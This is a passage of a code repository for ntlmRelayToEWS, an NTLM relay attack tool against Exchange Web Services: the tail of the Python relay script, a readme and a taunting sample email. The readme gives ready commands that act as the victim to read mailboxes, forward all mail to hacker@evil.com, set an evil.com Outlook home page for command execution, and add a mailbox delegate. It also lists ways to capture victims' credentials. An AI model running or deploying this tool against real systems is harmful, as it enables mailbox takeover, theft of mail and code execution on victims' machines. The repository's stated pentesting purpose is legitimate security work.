args.url:\n\t\t\t#--- Prepare the final EWS SOAP XML Request body\n\t\t\tbody = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Folder': args.folder}, templatesFolder +  \"getFolderID.tpl\")\n\t\telse:\n\t\t\tprint helper.color(\"[!] Missing mandatory arguments for [setHomePage] request. Required arguments are: folder / url\")\n\t\t\tsys.exit(1)\n\n\t#-----------------------------------------------------------------\n\t# Preparing the SOAPXMLRequest for the forward rule creation EWS Service\n\t#-----------------------------------------------------------------\n\tif args.request == \"forwardRule\":\n\t\tif args.destAddresses:\n\t\t\t#--- Prepare the final EWS SOAP XML Request body\n\t\t\tbody = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'DestAddress': args.destAddresses}, templatesFolder +  \"forwardRule.tpl\")\n\t\telse:\n\t\t\tprint helper.color(\"[!] Missing mandatory arguments for [forwardRule] request. Required arguments are: destAddresses\")\n\t\t\tsys.exit(1)\n\n\tprint helper.color(\"[*] Running in relay mode to single host\")\n\ttargetSystem = TargetsProcessor(singletarget=args.target)\n\n\t#-----------------------------------------------------------------\n\t# Preparing the SOAPXMLRequest for the add delegate EWS Service\n\t#-----------------------------------------------------------------\n\tif args.request == \"addDelegate\":\n\t\tif args.destAddresses:\n\t\t\t# In the case of adding a delegate, the first request is a GET (so no body)\n\t\t\tbody = None\n\t\telse:\n\t\t\tprint helper.color(\"[!] Missing mandatory arguments for [addDelegate] request. Required arguments are: destAddresses\")\n\t\t\tsys.exit(1)\n\n\tprint helper.color(\"[*] Running in relay mode to single host\")\n\ttargetSystem = TargetsProcessor(singletarget=args.target)\n\n\t#-----------------------------------------------------------------\n\t# Setting up relay servers\n\t#-----------------------------------------------------------------\n\tfor server in RELAY_SERVERS:\n\t\t#Set up config\n\t\tc = NTLMRelayxConfig()\n\t\tc.setTargets(targetSystem)\n\t\tc.setOutputFile(args.output_file)\n\t\tc.setEWSParameters(body, args.request, args.folder or None, args.destAddresses or None, args.url or None)\n\t\tc.setMode('RELAY')\n\t\tc.setAttacks(ATTACKS)\n\n\t\tif args.machine_account is not None and args.machine_hashes is not None and args.domain is not None:\n\t\t    c.setDomainAccount( args.machine_account,  args.machine_hashes,  args.domain)\n\t\telif (args.machine_account is None and args.machine_hashes is None and args.domain is None) is False:\n\t\t    print helper.color(\"[!] You must specify machine-account/hashes/domain all together!\")\n\t\t    sys.exit(1)\n\n\t\ts = server(c)\n\t\ts.start()\n\t\t\n\tprint \"\"\n\tprint helper.color(\"[*] Servers started, waiting for connections\")\n\twhile True:\n\t\ttry:\n\t\t    sys.stdin.read()\n\t\texcept KeyboardInterrupt:\n\t\t    sys.exit(1)\n\t\telse:\n\t\t    pass\n"
  },
  {
    "path": "readme.md",
    "content": "ntlmRelayToEWS\n============\n\nAuthor: Arno0x0x - [@Arno0x0x](http://twitter.com/Arno0x0x)\n\n**ntlmRelayToEWS** is a tool for performing ntlm relay attacks on Exchange Web Services (EWS). It spawns an SMBListener on port 445 and an HTTPListener on port 80, waiting for incoming connection from the victim. Once the victim connects to one of the listeners, an NTLM negociation occurs and is relayed to the target EWS server.\n\nObviously this tool does **NOT** implement the whole EWS API, so only a handful of services are implemented that can be useful in some attack scenarios. I might be adding more in the future. See the 'usage' section to get an idea of which EWS calls are being implemented.\n\nLimitations and Improvements\n----------------------\n**Exchange version**:<br>\nI've tested this tool against an **Exchange Server 2010 SP2** only (*which is quite old admitedly*), so all EWS SOAP request templates, as well as the parsing of the EWS responses, are only tested for this version of Exchange.\nAlthough I've not tested myself, some reported this tool is also working against an **Exchange 2016 server**, out of the box (*ie: without any changes to the SOAP request templates*).\n\nIn case those SOAP requests wouldn't work on another version of Exchange, it is pretty easy to create the SOAP request templates to match a newer version by using the Microsoft EWS Managed API in trace mode and capture the proper SOAP requests (*that's how I did it !*).\n\n**EWS SOAP client**:<br>\nI would have loved to use a SOAP client in order to get a proper interface for automatically create all SOAP requests based on the Exchange WSDL. I tried using '**zeep**' but I banged my head on the wall to get it working with the Exchange WSDL as it requires to download external namespaces and as such requires an internet connection. Also, with 'zeep', the use of a custom transport session requires a `Requests.session` which is not the type of HTTP(S) session we have by default with the HTTPClientRelay: it would have required either to refactor the HTTPClientRelay to use '*Requests*' (*/me lazy*) or to simply get zeep to create the messages with `zeep.client.create_message()` and then send it with the relayed session we already have. Or is it because I'm a lame developper ? oh well...\n\nPrerequisites\n----------------------\n**ntlmRelayToEWS** requires a proper/clean install of [Impacket](https://github.com/CoreSecurity/impacket). So follow their instructions to get a working version of Impacket.\n\nUsage\n----------------------\n**ntlmRelayToEWS** implements the following attacks, which are all made on behalf of the relayed user (*victim*).\n\nRefer to the help to get additional info: `./ntlmRelayToEWS -h`. Get more debug information using the `--verbose` or `-v` flag.\n\n**sendMail**<br>\nSends an HTML formed e-mail to a list of destinations:<br>\n`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d \"user1@corporate.org,user2@corporate.com\" -s Subject -m sampleMsg.html`\n\n**getFolder**<br>\nRetrieves all items from a predefined folder (*inbox, sent items, calendar, tasks*):<br>\n`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox`\n\n**forwardRule**<br>\nCreates an evil forwarding rule that forwards all incoming message for the victim to another email address:<br>\n`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d hacker@evil.com`\n\n**setHomePage**<br>\nDefines a folder home page (*usually for the Inbox folder*) by specifying a URL. This technique, uncovered by SensePost/Etienne Stalmans allows for **arbitray command execution** in the victim's Outlook program by forging a specific HTML page: [Outlook Home Page – Another Ruler Vector](https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/):<br>\n`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html`\n\n**addDelegate**<br>\nSets a delegate address on the victim's primary mailbox. In other words, the victim delegates the control of its mailbox to someone else. Once done, it means the delegated address has full control over the victim's mailbox, by simply opening it as an additional mailbox in Outlook:<br>\n`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d delegated.address@corporate.org`\n\nHow to get the victim to give you their credentials for relaying ?\n----------------------\nIn order to get the victim to send his credentials to ntlmRelayToEWS you can use any of the following well known methods:\n  - Send the victim an e-mail with a hidden picture which 'src' attribute points to the ntlmRelayToEWS server, using either HTTP or SMB. Check the `Invoke-SendEmail.ps1` script to achieve this.\n  - Create a link file which 'icon' attribute points to the ntlmRelayToEWS using a UNC path and let victim browse a folder with this link\n  - Perform LLMNR, NBNS or WPAD poisonning (*think of Responder.py or Invoke-Inveigh for instance*) to get any corresponding SMB or HTTP trafic from the victim sent to ntlmRelayToEWS\n  - other ?\n\nCredits\n----------------\nBased on [Impacket](https://github.com/CoreSecurity/impacket) and *ntlmrelayx* by Alberto Solino [@agsolino](https://twitter.com/agsolino).\n\nDISCLAIMER\n----------------\nThis tool is intended to be used in a legal and legitimate way only:\n  - either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms\n  - on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits)\n\nQuoting Empire's authors:\n*There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.*"
  },
  {
    "path": "sampleMsg.html",
    "content": "Hello, my mailbox has been...<br>\n<h1>PWNED!!</h1>\n"
  }
]